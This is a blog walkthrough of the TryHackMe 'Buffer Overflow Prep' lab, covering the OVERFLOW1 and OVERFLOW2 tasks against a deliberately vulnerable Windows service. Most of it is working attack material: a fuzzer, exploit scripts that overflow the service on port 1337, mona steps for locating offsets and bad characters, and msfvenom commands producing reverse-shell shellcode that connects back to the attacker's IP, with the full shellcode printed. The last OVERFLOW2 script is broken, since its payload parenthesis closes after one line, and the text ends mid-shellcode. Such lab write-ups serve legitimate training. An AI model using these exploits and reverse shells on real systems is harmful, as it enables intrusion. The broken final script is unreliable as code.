Buffer Overflow Prep - TryHackMe
13 min read
Published at: Apr 26, 2024
![Overflowing bucket of 1s and 0s](https://hailstormsec.com/content/images/2024/02/overflow.jpg)
Practice stack based buffer overflows with me!
Metadata
Meta
- Room name: Buffer Overflow Prep
- URL: https://tryhackme.com/room/bufferoverflowprep
Goal
Practise buffer overflow attacks!
Cheat Sheet
Before we begin, as always there is a generic Cheat Sheet for this room which could be integrated in your own notes. You find it at at the bottom of this write-up. You can also find all of my notes at https://hailstormsec.com/posts/categories/notes.
Tasks
Start the OSCP process
- Open Immunity Debugger as Administrator.
- Open file (File->Open).
- Select the oscp.exe binary (
C:\Users\admin\Desktop\vulnerable-apps\oscp
). - From your own machine, connect to the service with
nc MACHINE_IP 1337
, in my casenc 10.10.29.202 1337
. - If you've done so correctly it should look something like this:
![Inside the proccess](https://hailstormsec.com/content/images/2024/02/HELP.png)
Attach process
There is another way you can import a process/application into Immunity Debugger. Instead of importing it, you can run the application and thereafter attach it (File->Attach) inside of Immunity.
OVERFLOW1
Fuzzing
Before fuzzing, we want to run the following command in Immunity Debugger to set the workplace to C:\mona\
.
!mona config -set workingfolder c:\mona\%p
Fuzzing is a way of finding the buffer offset by attempting to overflow the buffer by brute forcing the input with gradually larger values until the program crashes.
We will fuzz this application by using the following script:
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.29.202" # Your machine ip
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
![Fuzzer crashed at 2000 bytes](https://hailstormsec.com/content/images/2024/02/fuzzer.png)
Finding the offset
Now we want to utilise pattern_create
to more precisely find the offset. We want to generate a pattern ~400 bytes longer than where the fuzzer crashed.
Add script to path
To avoid typing the entire path of pattern_create
, you can add it to your PATH with: sudo cp "$(locate pattern_create.rb)" /usr/local/bin
.
![pattern_create with a length of 2400](https://hailstormsec.com/content/images/2024/02/pattern-create.png)
Now we want to input this string into the following exploit:
import socket
ip = "10.10.29.202"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Restart the application
If you have yet to restart the Debugger from the fuzzer, you have to do so since you have corrupted the memory. And as a result you will not find the EIP offset (return value offset), unless you have restarted the application. You do this by clicking on the restart application button and then play the application again.
![Arrows showing how to restart the application](https://hailstormsec.com/content/images/2024/02/restart.png)
Now we can execute the python exploit using `python3 exploit.py`, and should look like this:
┌──(Hailst0rm(ソフ)sec)-[~]
└─$ python3 exploit.py
Sending evil buffer...
Done!
Now we can investigate the memory using mona to find the offset of the return address (EIP).
![Finding the offset, 1978, using mona](https://hailstormsec.com/content/images/2024/02/offset.png)
Confirming the offset
Now we want to update the exploit script, adding the offset together with the retn
variable set to "BBBB"
(32-bit). Make sure to restart the application again before running the exploit again.
import socket
ip = "10.10.29.202"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
![We have successfully added Bs into the buffer](https://hailstormsec.com/content/images/2024/02/B-buffer.png)
Bad characters
Before generating our malicious payload we need to find out any bad characters, characters not interpreted correctly according to the program. To find eventual bad characters we will generate a bytearray in Immunity Debugger using mona, and run our exploit with the same array. Thereafter we will compare the two. Any differences can thereafter be established as "bad characters".
- In Immunity Debugger:
!mona bytearray -b "\x00"
(exclude null-byte) - In our machine:
![Generate our byte array](https://hailstormsec.com/content/images/2024/02/our-byte-array.png)
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Copy this bytearray into the payload variable of the exploit script (I think you know how to at this point) and run it.
![Comparison to find the bad chars](https://hailstormsec.com/content/images/2024/02/bad-chars.png)
Bad chars: 07 08 2e 2f a0 a1
Remove false positives
Sometimes the bad chars may cause the next byte to get corrupted as well of even effect the rest of the string. Therefore to confirm these bytes we will go through the process one more time.
- Generate new bytearray inside of Immunity:
!mona bytearray -b "\x00\x07\x2e\xa0"
- Remove the same bytes from the payload in exploit.py.
- Restart application in Immunity.
- Run exploit.
![With our new payload, we have successfully removed all bad bytes](https://hailstormsec.com/content/images/2024/02/bad-bytes-v2.png)
Finding a jump point
The last thing we need to do before generating our payload is to find jump points, locations in the memory where we can store our payload without getting affected by bad characters. We can figure this out with mona and the command: !mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
. You do not require to restart the application for this.
![Here are our valid jump pointers with bad characters taken into account.](https://hailstormsec.com/content/images/2024/02/jmp-pointers.png)
Simply put one of these addresses into our exploit scrip in the retn
variable. Important however is to write the address backwards because the system is in little-endian.
Generate Payload
Now to generate the malicious payload we can use msfvenom. Make sure to use your tunnel ip on LHOST.
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.11.118 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
Simply take the hexcode that comes out and input into the exploit script.
The final script should look similar to mine (my machine died so my new machine ip is 10.10.33.19
):
import socket
ip = "10.10.33.19"
port = 1337
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = '\xaf\x11\x50\x62'
padding = "\x90"*26
payload = ("\xbd\x48\xa2\x8d\x91\xdb\xd5\xd9\x74\x24\xf4\x5e\x31\xc9"
"\xb1\x52\x83\xee\xfc\x31\x6e\x0e\x03\x26\xac\x6f\x64\x4a"
"\x58\xed\x87\xb2\x99\x92\x0e\x57\xa8\x92\x75\x1c\x9b\x22"
"\xfd\x70\x10\xc8\x53\x60\xa3\xbc\x7b\x87\x04\x0a\x5a\xa6"
"\x95\x27\x9e\xa9\x15\x3a\xf3\x09\x27\xf5\x06\x48\x60\xe8"
"\xeb\x18\x39\x66\x59\x8c\x4e\x32\x62\x27\x1c\xd2\xe2\xd4"
"\xd5\xd5\xc3\x4b\x6d\x8c\xc3\x6a\xa2\xa4\x4d\x74\xa7\x81"
"\x04\x0f\x13\x7d\x97\xd9\x6d\x7e\x34\x24\x42\x8d\x44\x61"
"\x65\x6e\x33\x9b\x95\x13\x44\x58\xe7\xcf\xc1\x7a\x4f\x9b"
"\x72\xa6\x71\x48\xe4\x2d\x7d\x25\x62\x69\x62\xb8\xa7\x02"
"\x9e\x31\x46\xc4\x16\x01\x6d\xc0\x73\xd1\x0c\x51\xde\xb4"
"\x31\x81\x81\x69\x94\xca\x2c\x7d\xa5\x91\x38\xb2\x84\x29"
"\xb9\xdc\x9f\x5a\x8b\x43\x34\xf4\xa7\x0c\x92\x03\xc7\x26"
"\x62\x9b\x36\xc9\x93\xb2\xfc\x9d\xc3\xac\xd5\x9d\x8f\x2c"
"\xd9\x4b\x1f\x7c\x75\x24\xe0\x2c\x35\x94\x88\x26\xba\xcb"
"\xa9\x49\x10\x64\x43\xb0\xf3\x81\x9c\xb1\x75\xfe\x9e\xc5"
"\x68\xa2\x17\x23\xe0\x4a\x7e\xfc\x9d\xf3\xdb\x76\x3f\xfb"
"\xf1\xf3\x7f\x77\xf6\x04\x31\x70\x73\x16\xa6\x70\xce\x44"
"\x61\x8e\xe4\xe0\xed\x1d\x63\xf0\x78\x3e\x3c\xa7\x2d\xf0"
"\x35\x2d\xc0\xab\xef\x53\x19\x2d\xd7\xd7\xc6\x8e\xd6\xd6"
"\x8b\xab\xfc\xc8\x55\x33\xb9\xbc\x09\x62\x17\x6a\xec\xdc"
"\xd9\xc4\xa6\xb3\xb3\x80\x3f\xf8\x03\xd6\x3f\xd5\xf5\x36"
"\xf1\x80\x43\x49\x3e\x45\x44\x32\x22\xf5\xab\xe9\xe6\x15"
"\x4e\x3b\x13\xbe\xd7\xae\x9e\xa3\xe7\x05\xdc\xdd\x6b\xaf"
"\x9d\x19\x73\xda\x98\x66\x33\x37\xd1\xf7\xd6\x37\x46\xf7"
"\xf2")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Now start a netcat listener to catch the reverse shell and run the exploit a final time.
![After running the exploit a final time we have a shell](https://hailstormsec.com/content/images/2024/02/shell.png)
Questions(s)
- What is the EIP offset for OVERFLOW1?
- In byte order (e.g.
\x00\x01\x02
) and including the null byte\x00
, what were the badchars for OVERFLOW1?
Answers(s)
- 1978
\x00\x07\x2e\xa0
OVERFLOW2
Time to stand on our own two legs and do one without the help given to us by the task.
Fuzzing
Change the prefix to 'OVERFLOW2'
![Changing prefix to overflow2](https://hailstormsec.com/content/images/2024/02/overflow2-prefix.png)
Finding the offset
![Crashes at 700 bytes](https://hailstormsec.com/content/images/2024/02/700-bytes-crash.png)
It is crashing at 700 bytes, so now we can create a string to more precisely locate the offset:
pattern_create.rb -l 1100
Put the string in the payload of the exploit.py script, make sure to grab a new copy of the script from OVERFLOW1 and change the prefix here as well.
Should look like this:
import socket
ip = "10.10.33.19"
port = 1337
prefix = "OVERFLOW2 "
offset = 0
overflow = "A" * offset
retn = ''
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
![634-offset.png](https://hailstormsec.com/content/images/2024/02/634-offset.png)
Confirming the offset
Add 'BBBB' into the retn
and 634 into offset
and inspect the result:
![Offset confirmed](https://hailstormsec.com/content/images/2024/02/overflow2-offset-confirm.png)
Bad characters
- Create a new bytearray with mona:
!mona bytearray -b "\x00"
- Add the same bytearray into the
payload
of the exploit script.
![Badchars for OVERFLOW2](https://hailstormsec.com/content/images/2024/02/bad-chars-2.png)
Remove false positives
Genarate new lists without the characters following each other:
- Create a new bytearray with mona:
!mona bytearray -b "\x00\x23\x3c\x83\xba"
- Add the same bytearray into the
payload
of the exploit script.
![Unmodified](https://hailstormsec.com/content/images/2024/02/unmodefied-2.png)
Bad characters: \x00\x23\x3c\x83\xba
Finding jump point
![Finding jump points for overflow2](https://hailstormsec.com/content/images/2024/02/jmp-points-2.png)
Generate Payload
Msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.11.118 LPORT=4444 EXITFUNC=thread -b "\x00\x23\x3c\x83\xba" -f c
Exploit:
import socket
ip = "10.10.33.19"
port = 1337
prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = '\xaf\x11\x50\x62'
padding = "\x90"*24
payload = ("\xfc\xbb\xb1\x28\x12\x25\xeb\x0c\x5e\x56\x31\x1e\xad\x01")
"\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x4d\xc0\x90"
"\x25\xad\x11\xf5\xac\x48\x20\x35\xca\x19\x13\x85\x98\x4f"
"\x98\x6e\xcc\x7b\x2b\x02\xd9\x8c\x9c\xa9\x3f\xa3\x1d\x81"
"\x7c\xa2\x9d\xd8\x50\x04\x9f\x12\xa5\x45\xd8\x4f\x44\x17"
"\xb1\x04\xfb\x87\xb6\x51\xc0\x2c\x84\x74\x40\xd1\x5d\x76"
"\x61\x44\xd5\x21\xa1\x67\x3a\x5a\xe8\x7f\x5f\x67\xa2\xf4"
"\xab\x13\x35\xdc\xe5\xdc\x9a\x21\xca\x2e\xe2\x66\xed\xd0"
"\x91\x9e\x0d\x6c\xa2\x65\x6f\xaa\x27\x7d\xd7\x39\x9f\x59"
"\xe9\xee\x46\x2a\xe5\x5b\x0c\x74\xea\x5a\xc1\x0f\x16\xd6"
"\xe4\xdf\x9e\xac\xc2\xfb\xfb\x77\x6a\x5a\xa6\xd6\x93\xbc"
"\x09\x86\x31\xb7\xa4\xd3\x4b\x9a\xa0\x10\x66\x24\x31\x3f"
"\xf1\x57\x03\xe0\xa9\xff\x2f\x69\x74\xf8\x50\x40\xc0\x96"
"\xae\x6b\x31\xbf\x74\x3f\x61\xd7\x5d\x40\xea\x27\x61\x95"
"\xbd\x77\xcd\x46\x7e\x27\xad\x36\x16\x2d\x22\x68\x06\x4e"
"\xe8\x01\xad\xb5\x7b\x24\x3a\xbe\x0d\x50\x38\xc0\xe0\xfc"
"\xb5\x26\x68\xed\x93\xf1\x05\x94\xb9\x89\xb4\x59\x14\xf4"
"\xf7\xd2\x9b\x09\xb9\x12\xd1\x19\x2e\xd3\xac\x43\xf9\xec"
"\x1a\xeb\x65\x7e\xc1\xeb\xe0\x63\x5e\xbc\xa5\x52\x97\x28"
"\x58\xcc\x01\x4e\xa1\x88\x6a\xca\x7e\x69\x74\xd3\xf3\xd5"
